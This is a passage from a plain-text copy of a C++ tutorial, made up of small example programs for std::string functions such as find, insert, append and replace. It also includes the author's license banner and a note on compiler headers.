string str3("Testing the erase() part III"), NewStr3;
cout<<"\nThe original string object str3 is: \n"<<str3<<endl;
NewStr3 = str3.erase(6, 8);
cout<<"Operation: str3.erase(6, 6)"<<endl;
cout<<"The modified NewStr3 string object is: \n"<<NewStr3<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//find() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//don't forget the null character
//searching for a single character in a string
string str1("Search part I, a character in a string");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find('r', 2);


cout<<"Operation: str1.find('r', 2)"<<endl;
if(index1 != npos)
cout<<"The index of the 1st 'r' found after the 2nd"

file:///C|/Tutorial.txt (378 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

<<" position in str1 is: "<<unsigned int(index1)<<endl;


else
cout<<"The character 'r' was not found in str1."<<endl;
cout<<endl;

index2 = str1.find('t');
cout<<"Operation: str1.find('t')"<<endl;
if(index2 != npos)
cout<<"The index of the 't' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 't' was not found in str1."<<endl;
cout<<endl;

//---------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Search part II, a substring in string");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr1 = "sub";


index3 = str2.find(cstr1, 5);
cout<<"Operation: str2.find(cstr1, 5)"<<endl;
if(index3 != npos)
cout<<"The index of the 1st element of 'sub' after\nthe 5th "
<<"position in str2 is: "<<unsigned int(index3)<<endl;
else
cout<<"The substring 'sub' was not found in str2"<<endl;
cout<<endl;

const char *cstr2 = "bstring";


index4 = str2.find(cstr2, 0);
cout<<"Operation: str2.find(cstr2, 0)"<<endl;
if(index4 != npos)
cout<<"The index of the 1st element of 'bstring' "
<<"after\nthe 0th position in str2 is: "<<unsigned int(index4)<<endl;
else
cout<<"The substring 'bstring' was not found in str2"<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//find() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//don't forget the null character
//searching a string for a substring as specified by a C-string
static const basic_string <char>::size_type npos = -1;
string str3("Again, search part III");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;

file:///C|/Tutorial.txt (379 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

const char *cstr3 = "part";


index5 = str3.find(cstr3);
cout<<"Operation: str3.find(cstr3)"<<endl;
if(index5 != npos)
cout<<"The index of the 1st element of 'part' "
<<"in str3 is: "<<unsigned int(index5)<<endl;
else
cout<<"The substring 'part' was not found in str3"<<endl;
cout<<endl;

const char *cstr4 = "ar";


index6 = str3.find(cstr4, index5 + 1, 2);
cout<<"Operation: str3.find(cstr4, index5 + 1, 2)"<<endl;
if(index6 != npos)
cout<<"The index of the next occurrence of 'ar' in "
<<"str3 begins at: "<<unsigned int(index6)<<endl;
else
cout<<"There is no next occurrence of 'ar' in str3."<<endl;
cout<<endl;

//--------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Finally!, search part IV");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("part");
index7 = str4.find(str5, 4);
cout<<"Operation: str4.find(str5, 4)"<<endl;
if(index7 != npos)
cout<<"The index of the 1st element of 'part' "
<<"after\nthe 4th position in str4 is: "<<unsigned int(index7)<<endl;
else
cout<<"The substring 'part' was not found in str4"<<endl;
cout<<endl;

string str6("arch");
index8 = str4.find(str6);
cout<<"Operation: str4.find(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st element of 'arch' in "
<<"str4 is: "<<unsigned int(index8)<<endl;
else
cout<<"The substring 'arch' was not found in str4"<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//find_first_not_of() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{

file:///C|/Tutorial.txt (380 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//searching a single character in a string


string str1("Testing the find_first_not_of() part 1");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find_first_not_of('_', 3);


cout<<"Operation: str1.find_first_not_of('_', 3)"<<endl;
if(index1 != npos)
cout<<"The index of the 1st '_' found after the 3rd\nposition in str1 is: "<<unsigned int(index1)<<endl;
else
cout<<"The character '_' was not found in str1"<<endl;

index2 = str1.find_first_not_of('T');
cout<<"\nOperation: str1.find_first_not_of('T')"<<endl;
if(index2 != npos)
cout<<"The index of the 'non T' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'non T' was not found in str1."<<endl;
cout<<endl;

//---------------------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the find_first_not_of() part 2");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
const char *cstr2 = "df";

index3 = str2.find_first_not_of(cstr2, 4);


cout<<"Operation: str2.find_first_not_of(cstr2, 4)"<<endl;
if(index3 != npos)
cout<<"The index of the 1st occurrence of an element\nof 'df' in str2 after the 4th "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements of the substring 'df' were not\nfound in str2 after the 4th position."<<endl;

const char *cstr3 = "gz";


index4 = str2.find_first_not_of(cstr3);
cout<<"\nOperation: str2.find_first_not_of(cstr3)"<<endl;
if(index4 != npos)
cout<<"The index of the 1st element of 'gz' after\nthe 0th position in str2 is: "
<<unsigned int(index4)<<endl;
else
cout<<"The substring 'gz' was not found in str2"<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//find_first_not_of() part II
#include <string>
#include <iostream>
using namespace std;

int main()

file:///C|/Tutorial.txt (381 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
//searching a string for a substring as specified by a C-string
string str3("Testing the find_first_not_of() part 3");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;

const char *cstr4 = "nro";


index5 = str3.find_first_not_of(cstr4);
cout<<"Operation: str3.find_first_not_of(cstr4)"<<endl;
if(index5 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element in str3\nother than one of the "
<<"characters in 'nro' is: "<<unsigned int(index5)<<endl;
else
cout<<"Elements in str3 contain only characters "
<<" in the string 'nro'. "<<endl;

const char *cstr5 = "nro";


index6 = str3.find_first_not_of(cstr5, index5+1, 2);
cout<<"\nOperation: str3.find_first_not_of(cstr5, index5+1, 2)"<<endl;
if(index6 != npos)
cout<<"The index of the second occurrence of an "
<<"element\nof 'nro' in str3 after the 0th "
<<"position is: "<<unsigned int(index6)<<endl<<endl;
else
cout<<"Elements in str3 contain only characters "
<<" in the string 'nro'"<<endl;
cout<<endl;

//--------------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing the find_first_not_of() part 4");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("tf7");
index7 = str4.find_first_not_of(str5, 3);
cout<<"Operation: str4.find_first_not_of(str5, 3)"<<endl;

if(index7 != npos)
cout<<"The index of the 1st non occurrence of an element\nof 'tf7' "
<<"in str4 after the 3rd position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements other than those in the substring 'tf7' "
<<"were not found in the string str4."<<endl;

string str6("in");
index8 = str4.find_first_not_of(str6);
cout<<"\nOperation: str4.find_first_not_of(str6)"<<endl;

if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element of\n'in' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;

file:///C|/Tutorial.txt (382 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

else
cout<<"Elements other than those in the substring"
<<" 'in' were not found in the string str4."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//find_first_of() part I
#include <string>
#include <iostream>
using namespace std;

int main( )
{
//searching for a single character in a string
string str1("find_first_of()");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find_first_of('r', 3);


cout<<"Operation: str1.find_first_of('r', 3)"<<endl;
if(index1 != npos)
cout<<"The index of the 1st 'r' found after the 3rd\n"
<<"position in str1 is: "<<unsigned int(index1)<<endl;
else
cout<<"The character 'r' was not found in str1"<<endl;

index2 = str1.find_first_of('z');
cout<<"\nOperation: str1.find_first_of('z')"<<endl;
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;

//--------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 123...Testing 123");
cout<<"\nstr2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr = "s1";


index3 = str2.find_first_of(cstr, 3);
cout<<"Operation: str2.find_first_of(cstr, 3)"<<endl;
if(index3 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 's1' in str2 after the 3rd "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements of the substring 's1' were not\n"
<<"found in str2 after the 3rd position."<<endl;

const char *cstr1 = "g3";


index4 = str2.find_first_of(cstr1);
cout<<"\nOperation: str2.find_first_of(cstr1)"<<endl;

file:///C|/Tutorial.txt (383 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

if(index4 != npos)
cout <<"The index of the 1st element of 'g3'\n"
<<"after the 0th position in str2 is: "<<unsigned int(index4)<<endl;
else
cout<<"The substring 'g3' was not found in str2."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//find_first_of() part II
#include <string>
#include <iostream>
using namespace std;

int main( )
{
//searching a string for a substring as specified by a C-string
string str3("Testing 456...Testing 456...789");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;

const char *cstr2 = "t6";


index5 = str3.find_first_of(cstr2);
cout<<"Operation: str3.find_first_of(cstr2)"<<endl;
if(index5 != npos)
cout<<"The index of the 1st occurrence of an"
<<"element\nof 't6' in str3 after the 0th "
<<"position is: "<<unsigned int(index5)<<endl;
else
cout<<"Elements of the substring 't6' were not\n"
<<"found in str3 after the 0th position."<<endl;

const char *cstr3 = "t68";


index6 = str3.find_first_of(cstr3, index5 + 1, 2);
cout<<"\nOperation: str3.find_first_of(cstr3, index5 + 1, 2)"<<endl;
if(index6 != npos)
cout<<"The index of the second occurrence of an"
<<"element\nof 't68' in str3 after the 0th "
<<"position is: "<<unsigned int(index6)<<endl;
else
cout<<"Elements of the substring 't68' were not\n"
<<"found in str3 after the first occurrence."<<endl;
cout<<endl;

//------------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("find_first_of() and find_first_of()");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;

string str5("dfz");
index7 = str5.find_first_of(str5, 3);
cout<<"Operation: str5.find_first_of(str5, 3)"<<endl;
if(index7 != npos)

file:///C|/Tutorial.txt (384 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"The index of the 1st occurrence of an "


<<"element\nof 'dfz' in str4 after the 3rd "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements of the substring 'dfz' were not\n"
<<"found in str4 after the 3rd position."<<endl;

string str6("fo");
index8 = str4.find_first_of(str6);
cout<<"\nOperation: str4.find_first_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the 1st occurrence of an "
<<"element\nof 'fo' in str4 after the 0th "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements of the substring 'fo' were not\n"
<<"found in str4 after the 0th position."<<endl;
return 0;
}

----------------------------------------USING G++----------------------------------------------------

//**********string.cpp**************
//append()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//appending a C-string to a string
string str1("Playing ");
const char *str2 = "with a string";

cout<<"str1 is: "<<str1<<endl;


cout<<"str2, C string is: "<<str2<<endl;
str1.append(str2);
cout<<"Operation: str1.append(str2)"<<endl;
cout<<"Appending str2 to str1: "<<str1<<endl;

//appending part of a C-string to a string


string str3 ("Replaying ");
const char *str4 = "the string ";

cout<<"\nstr3 string is: "<<str3<<endl;


cout<<"str4 C-string is: "<<str4<<endl;
str3.append(str4, 6);
cout<<"Operation: str3.append(str4, 6)"<<endl;
cout<<"Appending part of the str4 to string str3: \n"<<str3<<endl;

//appending part of one string to another


string str5("Again "), str6("string manipulation");

cout<<"\nstr5 is: "<<str5<<endl;


cout<<"str6 is: "<<str6<<endl;
str5.append(str6, 4, 6);

file:///C|/Tutorial.txt (385 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Operation: str5.append(str6, 4, 6)"<<endl;


cout<<"The appended string is: "<<str5<<endl;

//appending one string to another in two ways,


//comparing append and operator []
string str7("First "), str8("Second "), str9("Third ");
cout<<"\nstr7 is: "<<str7<<"\nstr8 is: "<<str8<<"\nstr9 is: "<<str9<<endl;
str7.append(str8);
cout<<"Operation: str7.append(str8)"<<endl;
cout<<"The appended string str7 is: "<<str7<<endl;
str7 += str9;
cout<<"Operation: str7 += str9"<<endl;
cout<<"The re appended string is: "<<str7<<endl;

//appending characters to a string


string str10("What string");
cout<<"\nstr10 string is: "<<str10<<endl;
str10.append(3, '?');
cout<<"Operation: str10.append(3, '?')"<<endl;
cout<<"str10 string appended with ? is: "<<str10<<endl;

//appending a range of one string to another


string str11("Finally "), str12("comes the END ");
cout<<"\nstr11 is: "<<str11<<" str12 is: "<<str12<<endl;
str11.append(str12.begin() + 6, str12.end() - 1);
cout<<"Operation:\nstr11.append(str12.begin() + 6, str12.end() - 1)"<<endl;
cout<<"The appended str11 String is: "<<str11<<endl;
return 0;
}

============================MODULE26=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Example compiled using
g++ are given at the end of every Module. For example if you want to compile
C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

file:///C|/Tutorial.txt (386 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

//find_last_not_of() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching for a single character in a string
string str1("daddy donkey is dead");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

index1 = str1.find_last_not_of('d', 2);


cout<<"Operation: str1.find_last_not_of('d', 2)"<<endl;
if(index1 != npos)
cout<<"The index of the last non 'd'\nfound before the "
<<"2nd position in str1 is: "<<unsigned int(index1)<< endl;
else
cout<<"The non 'd' character was not found."<<endl;

index2 = str1.find_last_not_of('d');
cout<<"\nOperation: str1.find_last_not_of('d')"<<endl;
if(index2 != npos)
cout<<"The index of the non 'd' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The Character 'non d' was not found in str1."<<endl;
cout<<endl;

file:///C|/Tutorial.txt (387 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//----------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing Testing Testing");
cout<<"str2 string is: "<<str2<<"\n";
basic_string <char>::size_type index3, index4;

const char *cstr = "ei";


index3 = str2.find_last_not_of(cstr, 12);
cout<<"Operation: str2.find_last_not_of(cstr, 12)"<<endl;
if(index3 != npos)
cout<<"The index of the last occurrence of a "
<<"element not\nof 'ei' in str2 before the 12th "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements not of the substring 'ei' were not "
<<"\n found in str2 before the 12th position."<<endl;

const char *cstr1 = "g t";


index4 = str2.find_last_not_of(cstr1);
cout<<"\nOperation: str2.find_last_not_of(cstr1)"<<endl;
if(index4 != npos)
cout<<"The index of the last element not "
<<"in 'g t'\nis: "<<unsigned int(index4)<<endl;
else
cout<<"The elements of the substring 'g t' were "
<<"not found in str2"<<endl;
return 0;
}

---------------------------------------------------------------------------------------------------------

//find_last_not_of() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching a string for a substring as specified by a C-string
string str3("Playing Testing Boring");
cout<<"str3 string is: "<<str3<<"\n";
basic_string <char>::size_type index5, index6;
static const basic_string <char>::size_type npos = -1;

const char *cstr2 = "PTB";


index5 = str3.find_last_not_of(cstr2);
cout<<"Operation: str3.find_last_not_of(cstr2)"<<endl;
if(index5 != npos)
cout<<"The index of the last occurrence of an "
<<"element in str3\nother than one of the "
<<"characters in 'PTB' is: "<<unsigned int(index5)<<endl;
else
cout<<"Elements in str3 contain only characters in the string 'PTB'"<<endl;

const char *cstr3 = "gTB";

file:///C|/Tutorial.txt (388 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

index6 = str3.find_last_not_of(cstr3, 6, index5-1);


cout<<"\nOperation: str3.find_last_not_of(cstr3, 6, index5-1)"<<endl;
if(index6 != npos)
cout<<"The index of the occurrence of an "
<<"element\nnot in 'gTB' in str3 is: "
<<unsigned int(index6)<<endl;
else
cout<<"Elements in str3 contains only characters "
<<"in the string 'gTB'."<<endl;
cout<<endl;

//-----------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 123 Testing 123");
cout<<"str4 string is: "<<str4<<"\n";
basic_string <char>::size_type index7, index8;

string str5("3 1");


index7 = str4.find_last_not_of(str5, 18);
cout<<"Operation: str4.find_last_not_of(str5, 18)"<<endl;
if(index7 != npos)
cout<<"The index of the last occurrence of an "
<<"element not\nin '3 1' in str4 before the 18th "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements other than those in the substring"
<<" '3 1' were not found in the string str4"<<endl;

string str6("Testing");
index8 = str4.find_last_not_of(str6);
cout<<"\nOperation: str4.find_last_not_of(str6)"<<endl;
if(index8 != npos)
cout<<"The index of the last occurrence of an "
<<"element not in\n'Testing' in str4 before the end "
<<"position is: "<<unsigned int(index8)<<endl;
else
cout<<"Elements other than those in the substring\n"
<<"'Testing' were not found in the string str4"<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------------------

//find_last_of() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//searching for a single character in a string
string str1("Testing 1234 Testing 1234");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;

file:///C|/Tutorial.txt (389 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

index1 = str1.find_last_of('g', 24);


cout<<"Operation: str1.find_last_of('g', 24)"<<endl;
if(index1 != npos)
cout<<"The index of the last 'g' found before\nthe 24th"
<<" position in str1 is: "<<unsigned int(index1)<<endl;
else
cout<<"The character 'g' was not found in str1"<<endl;

index2 = str1.find_first_of('z');
cout<<"\nOperation: index2 = str1.find_first_of('z')"<<endl;
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "
<<unsigned int(index2)<<endl;
else
cout<<"The character 'z' was not found in str1"<<endl;
cout<<endl;

//--------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing 1234 Testing 1234");
cout<<"str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;

const char *cstr = "t1";


index3 = str2.find_last_of(cstr, 25);
cout<<"Operation: str2.find_last_of(cstr, 25)"<<endl;
if(index3 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof 't1' in str2 before the 25th "
<<"position is: "<<unsigned int(index3)<<endl;
else
cout<<"Elements of the substring 't1' were not\n"
<<"found in str2 before the 25th position."<<endl;

const char *cstr1 = "g3";


index4 = str2.find_last_of(cstr1);
cout<<"\nOperation: str2.find_last_of(cstr1)"<<endl;
if(index4 != npos)
cout<<"The index of the last element of 'g3'\n"
<<"after the 0th position in str2 is: "
<<unsigned int(index4)<<endl;
else
cout<<"The substring 'g3' was not found in str2."<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------------

//find_last_of() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{

file:///C|/Tutorial.txt (390 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//searching a string for a substring as specified by a C-string


string str3("Testing 1234 Testing 1234");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char>::size_type index5;
static const basic_string <char>::size_type npos = -1;

const char *cstr2 = "s1";


index5 = str3.find_last_of(cstr2, 20, 20);
cout<<"Operation: str3.find_last_of(cstr2, 20, 20)"<<endl;
if(index5 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof 's1' in str3 before the 20th "
<<"position is: "<<unsigned int(index5)<<endl;
else
cout<<"Elements of the substring 's1' were not\n"
<<"found in str3 before the 20th position."<<endl;
cout<<endl;

//-------------------------------------------------------
//searching a string for a substring as specified by a string
string str4("Testing 1234 Testing 1234");
cout<<"str4 string is: "<<str4<<endl;
basic_string <char>::size_type index6, index7;

string str5("416");
index6 = str4.find_last_of(str5, 25);
cout<<"Operation: str4.find_last_of(str5, 25)"<<endl;
if(index6 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof '416' in str4 before the 25th "
<<"position is: "<<unsigned int(index6)<<endl;
else
cout<<"Elements of the substring '416' were not\n"
<<"found in str4 after the 0th position"<<endl;

string str6("1g");
index7 = str4.find_last_of(str6);
cout<<"\nOperation: str4.find_last_of(str6)"<<endl;
if(index7 != npos)
cout<<"The index of the last occurrence of an "
<<"element\nof '1g' in str4 before the 0th "
<<"position is: "<<unsigned int(index7)<<endl;
else
cout<<"Elements of the substring '1g' were not\n"
<<"found in str4 after the 0th position"<< endl;
return 0;
}

---------------------------------------------------------------------------------------------------------------

//get_allocator()
#include <string>
#include <iostream>
using namespace std;

int main()

file:///C|/Tutorial.txt (391 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
//using the default allocator.
string str1;
basic_string <char> str2;
basic_string <char, char_traits<char>, allocator<char> > str3;

//str4 will use the same allocator class as str1


basic_string <char> str4(str1.get_allocator());

basic_string <char>::allocator_type xchar = str1.get_allocator();


//You can now call functions on the allocator class xchar used by str1
string str5(xchar);
return 0;
}

----------------------------------------------------------------------------------------------------------------

//insert() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";

cout<<"str1 = "<<str1<<endl;
cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;

//inserting a C-string at a given position for a specified number of elements


basic_string <char> str2("Test");
const char *cstr2 = "ing an insert()";

cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;

//inserting a string at a given position


basic_string <char> str3(" the insert()");
string str4("Testing");

cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;

file:///C|/Tutorial.txt (392 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//inserting part of a string at a given position


basic_string <char> str5("Testing ");
string str6(" the insert()");

cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------------------

//insert() part II
#include <string>
#include <iostream>
using namespace std;

int main()
{
//inserting a number of characters at a specified position in the string
string str7("Testing the insert()?");
cout<<"str7 = "<<str7<<endl;
str7.insert(20, 4, '!');
cout<<"Operation: str7.insert(20, 4, '!')"<<endl;
cout<<"Inserting characters: \n"<<str7<<endl;
cout<<endl;

//inserting a character at a specified position in the string


string str8("Tesing the insert()");
cout<<"str8 = "<<str8<<endl;
basic_string <char>::iterator StrIter = (str8.begin() + 3);
str8.insert(StrIter, 't');
cout<<"Operation: str8.insert(StrIter, 't')"<<endl;
cout<<"Inserting missing character: \n"<<str8<<endl;
cout<<endl;

//inserts a range at a specified position in the string


string str9("First part");
string str10("Second partition");
cout<<"str9 = "<<str9<<endl;
cout<<"str10 = "<<str10<<endl;
basic_string <char>::iterator Str9Iter = (str9.begin() + 5);
str9.insert(Str9Iter, str10.begin()+6, str10.end()-4);
cout<<"Operation: str9.insert(Str9Iter, str10.begin()+6,\nstr10.end()-4)"<<endl;
cout<<"Inserting a range of character: \n"<<str9<<endl;
cout<<endl;

//inserting a number of characters at a specified position in the string


string str11("Final insert() test");
cout<<"str11 = "<<str11<<endl;
basic_string <char>::iterator Str11Iter = (str11.begin() + 15);
str11.insert(Str11Iter, 5, 'a');
cout<<"Operation: str11.insert(Str11Iter, 5, 'a')"<<endl;

file:///C|/Tutorial.txt (393 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"A range of character inserted in the string: \n"<<str11<<endl;


return 0;
}

---------------------------------------------------------------------------------------------------------------

//push_back()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Testing the push_back()");
basic_string <char>::iterator StrIter, Str1Iter;

cout<<"str1 string is: ";


for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;
cout<<"Move the pointer to the end of string..."<<endl;
Str1Iter = str1.end();
cout<<"Then add an element to the end of the string..."<<endl;
str1.push_back('T');
cout<<"\nOperation: str1.end() then str1.push_back('T')"<<endl;
cout<<"The last character of str1 string is: "
<<*Str1Iter;
cout<<endl;

cout<<"\nMove the pointer from the beginning to the end..."<<endl;


cout<<"Now, str1 string is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------------------

//rbegin() and rend()


#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("The reverse begin, rbegin()"), str2;
basic_string <char>::reverse_iterator StrIter, Str1Iter;
basic_string <char>::const_reverse_iterator str1_rcIter;

//well, no need to minus the null character huh?


cout<<"Operation: str1.rbegin()"<<endl;
Str1Iter = str1.rbegin();
cout<<"The first character of the reversed str1 string is: "
<<*Str1Iter<<endl;
cout<<"The full reversed str1 string is:\n";

file:///C|/Tutorial.txt (394 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//rbegin() should be with rend()


for(StrIter = str1.rbegin(); StrIter != str1.rend(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";

//The dereferenced iterator can be used to modify a character


cout<<"Operation: *Str1Iter = 'Z'"<<endl;
*Str1Iter = 'Z';
cout<<"The first character of the new str1 is: "
<<*Str1Iter<<endl;
cout<<"The full new reversed str1 is:\n";
for(StrIter = str1.rbegin(); StrIter != str1.rend(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";

//The following line will generate error because iterator is const


//*str1_rcIter = 'T';

//For an empty string, rbegin() is equivalent to rend()


cout<<"Operation: str2.rbegin() == str2.rend()"<<endl;
if(str2.rbegin() == str2.rend())
cout<<"The string str2 is empty."<<endl;
else
cout<<"The stringstr2 is not empty."<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------------------

//replace() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{

//replacing part of the string with


//characters of a string or C-string
//remember that index start from 0!
string str1, str2;
string str3("TESTING");
string str4("ABC");
const char* cstr = "DEF";
cout<<"str3 string is: "<<str3<<endl;
cout<<"str4 string is: "<<str4<<endl;
cout<<"cstr C-string is: "<<cstr<<endl;

str1 = str3.replace(1, 3, str4);


cout<<"Operation: str3.replace(1, 3, str4)"<<endl;
cout<<"The new string is: "<<str1<<endl;
cout<<"\nOperation: str3.replace(5, 3, cstr)"<<endl;
str2 = str3.replace(5, 3, cstr);
cout<<"The new string is: "<<str2<<"\n\n";

//replacing part of the string with characters

file:///C|/Tutorial.txt (395 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//form part of a string or C-string


string str5, str6;
string str7 ("TESTING");
string str8 ("123");
const char* cstr1 = "456";

cout<<"str7 string is: "<<str7<<endl;


cout<<"str8 string is: "<<str8<<endl;
cout<<"cstr1 C-string is: "<<cstr1<<endl;
cout<<"Operation: str7.replace(1, 3, str8, 1, 2)"<<endl;
str5 = str7.replace(1, 3, str8, 1, 2);
cout<<"The new string is: "<<str5<<endl;
cout<<"\nOperation: str7.replace(4, 3, cstr1, 1)"<<endl;
str6 = str7.replace(4, 3, cstr1, 1);
cout<<"The new string is: "<<str6<<"\n\n";

//replacing part of the string with characters


string str9;
string str10 ("TESTING");
char cstr2 = 'R';
